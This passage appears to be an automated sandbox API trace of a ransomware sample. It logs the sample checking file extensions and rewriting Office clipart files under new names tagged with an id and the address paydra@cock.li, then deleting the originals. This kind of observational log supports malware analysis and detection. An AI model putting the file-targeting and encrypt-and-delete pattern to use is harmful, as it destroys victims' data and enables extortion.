Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 1 [0060.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0060.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0060.798] lstrlenW (lpString=".doc") returned 4 [0060.798] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.798] lstrlenW (lpString=".docx") returned 5 [0060.798] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.798] lstrlenW (lpString=".pdf") returned 4 [0060.798] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.798] lstrlenW (lpString=".xls") returned 4 [0060.798] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.798] lstrlenW (lpString=".xlsx") returned 5 [0060.798] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.798] lstrlenW (lpString=".ppt") returned 4 [0060.798] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0060.798] lstrlenW (lpString=".zip") returned 4 [0060.798] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.798] lstrlenW (lpString=".rar") returned 4 [0060.798] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.798] lstrlenW (lpString=".bz2") returned 4 [0060.798] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.799] lstrlenW (lpString=".7z") returned 3 [0060.799] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0060.799] lstrlenW (lpString=".dbf") returned 4 [0060.799] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0060.799] lstrlenW (lpString=".1cd") returned 4 [0060.799] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0060.799] lstrlenW (lpString=".jpg") returned 4 [0060.799] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.799] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2732) returned 1 [0060.799] CloseHandle (hObject=0x240) returned 1 [0060.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x20 [0060.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0060.799] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.800] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.800] GetLastError () returned 0x0 [0060.800] ReadFile (in: hFile=0x240, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0xaac, lpOverlapped=0x0) returned 1 [0060.904] WriteFile (in: hFile=0x20c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xab0, lpOverlapped=0x0) returned 1 [0060.906] ReadFile (in: hFile=0x240, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.906] WriteFile (in: hFile=0x20c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.906] SetEndOfFile (hFile=0x20c) returned 1 [0061.241] CloseHandle (hObject=0x20c) returned 1 [0061.241] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.241] SetEndOfFile (hFile=0x240) returned 1 [0061.242] CloseHandle (hObject=0x240) returned 1 [0061.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0061.242] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 1 [0062.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0062.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0062.273] lstrlenW (lpString=".doc") returned 4 [0062.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.273] lstrlenW (lpString=".docx") returned 5 [0062.273] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.273] lstrlenW (lpString=".pdf") returned 4 [0062.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.273] lstrlenW (lpString=".xls") returned 4 [0062.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.273] lstrlenW (lpString=".xlsx") returned 5 [0062.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.273] lstrlenW (lpString=".ppt") returned 4 [0062.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0062.273] lstrlenW (lpString=".zip") returned 4 [0062.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.273] lstrlenW (lpString=".rar") returned 4 [0062.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.273] lstrlenW (lpString=".bz2") returned 4 [0062.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.273] lstrlenW (lpString=".7z") returned 3 [0062.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0062.274] lstrlenW (lpString=".dbf") returned 4 [0062.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0062.274] lstrlenW (lpString=".1cd") returned 4 [0062.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0062.274] lstrlenW (lpString=".jpg") returned 4 [0062.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0062.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0062.274] lstrlenW (lpString=".doc") returned 4 [0062.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.274] lstrlenW (lpString=".docx") returned 5 [0062.274] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.274] lstrlenW (lpString=".pdf") returned 4 [0062.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.274] lstrlenW (lpString=".xls") returned 4 [0062.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.274] lstrlenW (lpString=".xlsx") returned 5 [0062.274] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.274] lstrlenW (lpString=".ppt") returned 4 [0062.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0062.274] lstrlenW (lpString=".zip") returned 4 [0062.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.274] lstrlenW (lpString=".rar") returned 4 [0062.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.274] lstrlenW (lpString=".bz2") returned 4 [0062.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.275] lstrlenW (lpString=".7z") returned 3 [0062.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0062.275] lstrlenW (lpString=".dbf") returned 4 [0062.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0062.275] lstrlenW (lpString=".1cd") returned 4 [0062.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0062.275] lstrlenW (lpString=".jpg") returned 4 [0062.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.477] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1874) returned 1 [0062.477] CloseHandle (hObject=0x16c) returned 1 [0062.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x20 [0062.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0062.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0062.477] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.477] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0062.478] GetLastError () returned 0x0 [0062.478] ReadFile (in: hFile=0x16c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x752, lpOverlapped=0x0) returned 1 [0062.479] WriteFile (in: hFile=0x158, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x760, lpOverlapped=0x0) returned 1 [0062.480] ReadFile (in: hFile=0x16c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.480] WriteFile (in: hFile=0x158, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.480] SetEndOfFile (hFile=0x158) returned 1 [0062.480] CloseHandle (hObject=0x158) returned 1 [0062.481] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.481] SetEndOfFile (hFile=0x16c) returned 1 [0062.481] CloseHandle (hObject=0x16c) returned 1 [0062.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0062.481] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 1 [0062.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0062.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0062.482] lstrlenW (lpString=".doc") returned 4 [0062.482] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.482] lstrlenW (lpString=".docx") returned 5 [0062.482] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.482] lstrlenW (lpString=".pdf") returned 4 [0062.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.482] lstrlenW (lpString=".xls") returned 4 [0062.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.482] lstrlenW (lpString=".xlsx") returned 5 [0062.482] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.482] lstrlenW (lpString=".ppt") returned 4 [0062.482] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0062.482] lstrlenW (lpString=".zip") returned 4 [0062.482] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.482] lstrlenW (lpString=".rar") returned 4 [0062.482] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.482] lstrlenW (lpString=".bz2") returned 4 [0062.482] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.482] lstrlenW (lpString=".7z") returned 3 [0062.482] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0062.482] lstrlenW (lpString=".dbf") returned 4 [0062.482] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0062.482] lstrlenW (lpString=".1cd") returned 4 [0062.482] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0062.483] lstrlenW (lpString=".jpg") returned 4 [0062.483] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.483] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2966) returned 1 [0062.483] CloseHandle (hObject=0x16c) returned 1 [0062.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 0x20 [0062.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0062.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0062.484] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.484] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0062.484] GetLastError () returned 0x0 [0062.484] ReadFile (in: hFile=0x16c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0xb96, lpOverlapped=0x0) returned 1 [0062.486] WriteFile (in: hFile=0x158, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xba0, lpOverlapped=0x0) returned 1 [0062.486] ReadFile (in: hFile=0x16c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.486] WriteFile (in: hFile=0x158, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0062.487] SetEndOfFile (hFile=0x158) returned 1 [0062.487] CloseHandle (hObject=0x158) returned 1 [0062.487] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.487] SetEndOfFile (hFile=0x16c) returned 1 [0062.488] CloseHandle (hObject=0x16c) returned 1 [0062.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0062.488] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 1 [0062.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0062.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0062.488] lstrlenW (lpString=".doc") returned 4 [0062.488] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.488] lstrlenW (lpString=".docx") returned 5 [0062.488] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0062.488] lstrlenW (lpString=".pdf") returned 4 [0062.488] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.488] lstrlenW (lpString=".xls") returned 4 [0062.488] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.488] lstrlenW (lpString=".xlsx") returned 5 [0062.488] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0062.488] lstrlenW (lpString=".ppt") returned 4 [0062.488] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0062.488] lstrlenW (lpString=".zip") returned 4 [0062.488] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.488] lstrlenW (lpString=".rar") returned 4 [0062.488] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.489] lstrlenW (lpString=".bz2") returned 4 [0062.489] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.489] lstrlenW (lpString=".7z") returned 3 [0062.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0062.489] lstrlenW (lpString=".dbf") returned 4 [0062.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0062.489] lstrlenW (lpString=".1cd") returned 4 [0062.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0062.489] lstrlenW (lpString=".jpg") returned 4 [0062.489] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.490] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=10326) returned 1 [0062.490] CloseHandle (hObject=0x158) returned 1 [0062.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 0x20 [0062.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0062.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0062.490] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.490] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0062.490] GetLastError () returned 0x0 [0062.490] ReadFile (in: hFile=0x158, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x2856, lpOverlapped=0x0) returned 1 [0062.492] WriteFile (in: hFile=0x1e0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x2860, lpOverlapped=0x0) returned 1 [0062.493] ReadFile (in: hFile=0x158, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.493] WriteFile (in: hFile=0x1e0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0062.493] SetEndOfFile (hFile=0x1e0) returned 1 [0062.493] CloseHandle (hObject=0x1e0) returned 1 [0062.493] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.493] SetEndOfFile (hFile=0x158) returned 1 [0062.494] CloseHandle (hObject=0x158) returned 1 [0062.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0062.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 1 [0062.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0062.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0062.495] lstrlenW (lpString=".doc") returned 4 [0062.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.495] lstrlenW (lpString=".docx") returned 5 [0062.495] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0062.495] lstrlenW (lpString=".pdf") returned 4 [0062.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.495] lstrlenW (lpString=".xls") returned 4 [0062.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.495] lstrlenW (lpString=".xlsx") returned 5 [0062.495] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 